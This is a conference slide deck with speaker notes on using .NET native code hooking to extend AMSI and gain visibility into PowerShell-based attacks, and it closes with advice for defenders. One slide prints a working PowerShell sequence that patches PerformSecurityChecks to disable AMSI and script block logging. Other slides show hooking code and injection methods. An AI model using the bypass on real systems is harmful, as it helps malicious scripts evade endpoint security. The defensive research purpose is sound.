  • 18. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. BASICS OF MANAGED PROGRAM EXECUTION (1/2)  Code written in a Common Language Infrastructure language, such as C#, is compiled into a program made up of Microsoft Intermediate Language (MSIL)  We call such a program as a “managed program”  MSIL is compiled into native assembly code in two ways:  Just-In-Time (JIT) compile at runtime on memory by the JIT compiler  Ahead-Of-Time (AOT) of execution on disk by Ngen  Native code is executed either way 19 C# Source File(s) C# Compiler MSIL (Executable File) CLR (JIT Compiler) Ngen Native Code (Memory) Native Code (Executable File) Compile JIT Compile AOT Compile
  • 19. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. BASICS OF MANAGED PROGRAM EXECUTION (2/2)  Managed programs are executed on the top of .NET Framework, which provides API to be called by the managed programs 20 Assembly.NET Framework Win32 API Assembly Assembly DLL DLL DLLDLL DLL DLL Managed Program Unmanaged Program
  • 20. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. BASICS OF MANAGED PROGRAM EXECUTION (2/2)  Managed programs are executed on the top of .NET Framework, which provides API to be called by the managed programs 21 Assembly.NET Framework Win32 API Assembly Assembly DLL DLL DLLDLL DLL DLL Managed Program Unmanaged Program Hook Hook Hook Hook Hook
  • 21. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. OVERVIEW OF HOOKING  Flow of the unmanaged (eg, C++) code hooking technique: 1. Execute hooking code inside a target process 2. Locate the address of a target function 3. Overwrite native code at the address  .NET native code hooking is same, except that it targets .NET assemblies and methods 22
  • 22. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. HOW TO LOCATE AN ADDRESS OF NATIVE CODE  Reflection is a technology to allow managed programs to find and access the information of assemblies, methods, and fields etc. at runtime  Think of this as full source code access at runtime  RuntimeMethodHandle.GetFunctionPointer method returns the address of compiled native code if already compiled  Think of this as GetProcAddress API, but not limited to exports!  If a target method has not yet executed, it might not be compiled and might not yet have native code to be located  JIT compilation can be triggered with the RuntimeHelpers.PrepareMethod method 23
  • 23. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. EXAMPLE CODE (C#) // Get an AmsiUtils class from an assembly targetClass = targetAssembly.GetType("System.Management.Automation.AmsiUtils"); // Get a ScanContent method of the class targetMethod = targetClass.GetMethod("ScanContent", ...); // Perform JIT compilation if not done yet RuntimeHelpers.PrepareMethod(targetMethod.MethodHandle); // Get an address of compiled native code targetAddr = targetMethod.MethodHandle.GetFunctionPointer(); // Overwrite contents of the address to install hook // ... 24
  • 24. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. HOW TO EXECUTE HOOKING MANAGED CODE  One must be able to execute managed code inside a target process to install hooks  This can be achieved by using the Hosting API from unmanaged code  We will refer to such code as bootstrap code  The API lets unmanaged code interact with managed code and load an assembly into the managed code realm  Bootstrap code can be injected in many ways (eg, AppInit_Dlls, device drivers) 25
  • 25. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. USING UNMANAGED CODE 1. Inject bootstrap code into a target process 2. Bootstrap code loads (or “injects”) a hooking assembly into the managed code realm 3. The hooking assembly locates a target method, triggers JIT compilation as needed, overwrites its native code 26 Managed Unmanaged Kernel User Bootstrap Hooking Assembly Target Assembly Driver (*) 1) Inject bootstrap code 2) Load managed assembly 3) Force to JIT compile, modify compiled native code Target Process Address Space *) Optionally, use a driver
  • 26. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. USING APPDOMAINMANAGER 1. Register an assembly implements a custom AppDomainManager 2. CLR loads the assembly when the first AppDomain is created (at init-time of the managed code realm). 3. The hooking assembly locates a target method, triggers JIT compilation as needed, overwrites its native code  Pros: least code required  Cons: need special settings (env var) 27 Managed Unmanaged Kernel User Hooking Assembly Target Assembly 3) Force to JIT compile, modify compiled native code Target Process Address Space .NET (CLR) 2) Load managed assembly
  • 27. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.28
  • 28. GAINING VISIBILITY INTO POWERSHELL 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.29
  • 29. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. POWERSHELL IS A MANAGED PROGRAM  PowerShell language is implemented in System.Management.Automation.dll written in C#  We will refer to the DLL as SMA.dll  Powershell.exe is just a client program of the DLL  Any behavior of SMA.dll can be intercepted and altered with the technique 30 Assembly.NET Framework Win32 API Assembly Assembly DLL DLL DLL Managed Program Hook Hook Hook
  • 30. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. ENHANCING AMSI & MORE  Implement an AMSI equivalent feature for Windows 8.1 and earlier  Implement an AMSI equivalent feature for PowerShell 4 and earlier  Make AMSI bypass-resilient  Cmdlet execution  De-obfuscating strings 31
  • 31. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. EMULATING AMSI ON OLDER WINDOWS + PS V5  Possible to emulate AMSI by hooking methods in SMA.dll  In SMA.dll for v5, invocation to AMSI providers is implemented by the AmsiUtils.ScanContent method  Overwrite this with your own scan logic internal static AmsiNativeMethods.AMSI_RESULT ScanContent (string content, string sourceMetadata) { if (amsiInitFailed) { return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED; } //... hr = AmsiNativeMethods.AmsiScanString(...); 32
  • 32. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. EMULATING AMSI ON OLDER POWERSHELL  Some challenges:  No AmsiUtils class, and no open source implementation  Appropriate methods must be found with reverse engineering  Good news ;-)  Free .NET decompilers out there, and those produce VERY readable code  dotPeek, ILSpy, JustDecompile  Debugger works as if you had source code  WinDbg + SOS and SOSEX  Many implementation are still similar to the open sourced version 33
  • 33. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. AMSI BYPASS-PROOF  Known AMSI bypass techniques prevent the ScanContent method from calling the AmsiScanString function or using a proper AMSI provider DLL  Resetting amsiContext or amsiInitFailed  Hijacking COM  The unresolved flaw prevents AMSI providers from receiving correct data from AMSI.dll  None affect the emulated logic since nor ScanContent nor an AMSI provider is used 34 System.Management. Automation.dll Amsi.dll Amsi.dll Amsi.dll AMSI Provider Hooked Code AsmiScanString IAntimalwareProvider::Scan
  • 34. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. FURTHER VISIBILITY: CMDLET EXECUTION  Access to all parameters that are already de-obfuscated  The ProcessRecord method is called when a cmdlet is executed  Eg, the InvokeExpressionCommand.ProcessRecord method for Invoke-Expression  The “this” pointer holds all parameters  PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ’)  this->_command holds “Write-Host this is a bad command!” when the method is called 35
  • 35. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. DEMO: EMULATED AMSI & MORE 36
  • 36. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. CHALLENGES & LIMITATIONS  Requires reverse engineering and implementation-dependent code  Can be noisy when lower-level methods are hooked  An attacker can break hooks with the same technique (hooks are not security boundary) 37 # # Overwrites PerformSecurityChecks as { return } # disabling AMSI and the most of suspicious script block logging. # > $code = [byte[]](0xc3); > $addr = [Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetMethod('PerformSecurityChecks', 'NonPublic,Instance', $null, [Type]::EmptyTypes, $null).MethodHandle.GetFunctionPointer(); > $definition = '[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr Address, UInt32 Size, UInt32 NewProtect, out UInt32 OldProtect);‘; > $kernel32 = Add-Type -MemberDefinition $definition -Name ‘Kernel32’ -Namespace ‘Win32’ -PassThru; > $oldProtect = [UInt32]0; > $kernel32::VirtualProtect($addr, $code.Length, 0x40, [ref]$oldProtect); > [Runtime.InteropServices.Marshal]::Copy($code, 0, $addr, $code.Length);
  • 37. TAKEAWAYS & RECOMMENDATION 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.38
  • 38. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. TAKEAWAYS  AMSI significantly increases visibility into script execution as-is, but comes with limitations  .NET native code hooking allows you to inspect behavior of managed programs  AMSI-equivalent features can be implemented on earlier versions of Windows and PowerShell  More extended capabilities can also be implemented as needed 39
  • 39. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.40 FOR ENTERPRISE DEFENDERS  Use Windows 10 + PowerShell v5, and review security features available  AMSI gives excellent visibility as-is despite its limitations  Script block logging provides postmortem visibility  JEA (Just Enough Administration) restricts what admins can do with PowerShell  Enable Constrained Language Mode with AppLocker or Device Guard  Kills PowerShell (reflection) based AMSI and script block logging bypasses (and more!)  Remove PowerShell v2  Prevents the downgrade attack  Keep systems up to date  A fix of the AMSI bypass flaw will be coming soon
  • 40. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.41 FOR HUNTERS & SECURITY SOFTWARE VENDORS  Understand capabilities AMSI offers (AMSI is supported and evolving)  Review the .NET native code hooking technique for your goals  It is a powerful technique to inspect managed programs  Core concept is simple and has little undocumented-ness  Can be handy for malware analysis too (eg, dynamic analysis, unpacking)  Play with sample code to learn more: github.com/tandasat/DotNetHooking  Can be applied for .NET Core (ie, PowerShell v6)  Pay attention to appearance of GetFunctionPointer in PowerShell  This technique can be abused by attackers  Add-Type & VirtualProtect might not be required (JIT-ed code is RWE by default)
  • 41. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. ACKNOWLEDGEMENTS  Alex Ionescu (@aionescu)  Aaron LeMasters (@lilhoser)  Researchers influenced and motivated me the most:  Matt Graeber (@mattifestation)  Daniel Bohannon (@danielbohannon) 42
  • 42. THANK YOU! Satoshi Tanda @standa_t 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.43
  • 43. QUESTIONS 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.44
  • 44. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. RESOURCES: RELEVANT RESEARCH  AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It  Nikhil Mittal  https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf  Hijacking Arbitrary .NET Application Control Flow  Topher Timzen and Ryan Allen  https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-NET- Application-Control-FlowWP.pdf  .Net Hijacking to Defend PowerShell  Amanda Rousseau  https://www.slideshare.net/AmandaRousseau1/net-hijacking-to-defend-powershellbsidessf2017  https://arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf  AMSI Bypass via PowerShell  Matt Graeber  https://twitter.com/mattifestation/status/735261120487772160  https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1  AMSI Bypass via Hijacking  Matt Nelson  https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ 45
  • 45. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.46 RESOURCES: CLR & .NET INTERNALS  CoreCLR -- the open source version of CLR and .NET Framework  https://github.com/dotnet/coreclr/tree/master/Documentation/botr  https://github.com/dotnet/docs  PowerShell Core -- the open source version of PowerShell  https://github.com/PowerShell/PowerShell  Hosting API and Injection  https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/  https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-e6581ee0 (CLR 4)  https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-4da36165 (CLR 2)
  • 46. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.47 RESOURCES: POWERSHELL DEBUGGING  Debugging Managed Code Using the Windows Debugger  https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed- code  WinDbg / SOS Cheat Sheet  http://geekswithblogs.net/.netonmymind/archive/2006/03/14/72262.aspx  WinDbg cheat sheet  https://theartofdev.com/windbg-cheat-sheet/  SOSEX  http://www.stevestechspot.com/  MEX Debugging Extension for WinDbg  https://blogs.msdn.microsoft.com/luisdem/2016/07/19/mex-debugging-extension-for-windbg-2/
  • 47. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.48 RESOURCES: EXAMPLE DEBUGGING SESSION (1/2)# # STEP 1: Run powershell.exe normally and attach with a WinDbg. Then break in # to a debugger, and load SOS and SOSEX extensions. # 0:003> .loadby sos mscorwks 0:003> .load C:windbg_initsosex_64sosex.dll # # STEP 2: Set a breakpoint onto the InvokeExpressionCommand.ProcessRecord method # 0:003> !mbm Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord Breakpoint set at Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord() in AppDomain 0000018a8fbe1670. 0:003> g # # STEP 3: Execute the Invoke-Expression cmdlet on PowerShell. The breakpoint # should hit. # PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ')
  • 48. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.49 RESOURCES: EXAMPLE DEBUGGING SESSION (2/2)# # STEP 4: Dump contents of the "this" pointer and find the address of the # _command field. # 0:006> !do rcx ... Fields: MT Field Offset Type VT Attr Value Name ... 00007fff58e27ed0 4000252 70 System.String 0 instance 0000018a91e5fef0 _command # # STEP 5: Dump contents of the _command field. # 0:006> !do 0000018a91e5fef0 ... String: Write-Host this is a bad command!

Editor's Notes

  1. I am going to start by giving thanks to Kana and all content reviewers for letting me join CodeBlue as a speaker. I had never participated in CodeBlue even though I have been working for computer security. The reason was CodeBlue started in 2013, after I moved to Canada. I kept hearing news about this conference even though I was in Canada, and started to think I wasted join CodeBlue, especially as a speaker. So I am glad to be here as a speaker. Also, thanks to all of you for coming to my sessio. I am hoping that I can give you useful information that is applicable to your jobs in this session.
  2. This talk is connected to my background. This chart is taken from Google Trend showing how often the word “Upatre” was searched on Google. Upatre is a name of downloader malware
  3. … and I started to realize that PowerShell based attacks were more prevalent and carried out in wider situations, than other script based attacks.
  4. I started to look into ways to gain more visibilities into PowerShell based attacks. This talk is to share some of research findings, so that you can understand current threat landscape and existing protection measures, as well as ways to apply little known .Net hooking based technique to gain more visibility and protect ourselves from PowerShell attacks.
  5. As a downloader, post exploitation (open source made PS common) How AV works – PE focused, lack of toolsets AV has ability to handle hash buster but hard with PS due to no structure “Shell” usage is the first class citizen AV looks at a command line parameter, but not always sufficient
  6. - Does not address all challenges (eg, host is powershell.exe, need to deal with texts)
  7. However, we do not live in the perfect world
  8. 20min AMSI basics AMSI vs obfuscation Disabling AMSI (without event log) PowerShell –v
  9. 25 mins
  10. The AppDomainManager is a special .NET class that can be loaded and executed before a managed program is fully initialized.
  11. - 40mins
  12. 50mins AMSI bypass vs emulated AMSI Emulated AMSI for PowerShell v2 vs Invoke-Expression
  13. At the end, thanks Alex Ionescu and Aaron LeMasters who helped me in many aspects for this research. And, thanks Matt Graeber and Daniel Bohannon for their great research regarding PowerShell attacks and protections. I would not be that interested in PowerShell threat landscape without their work.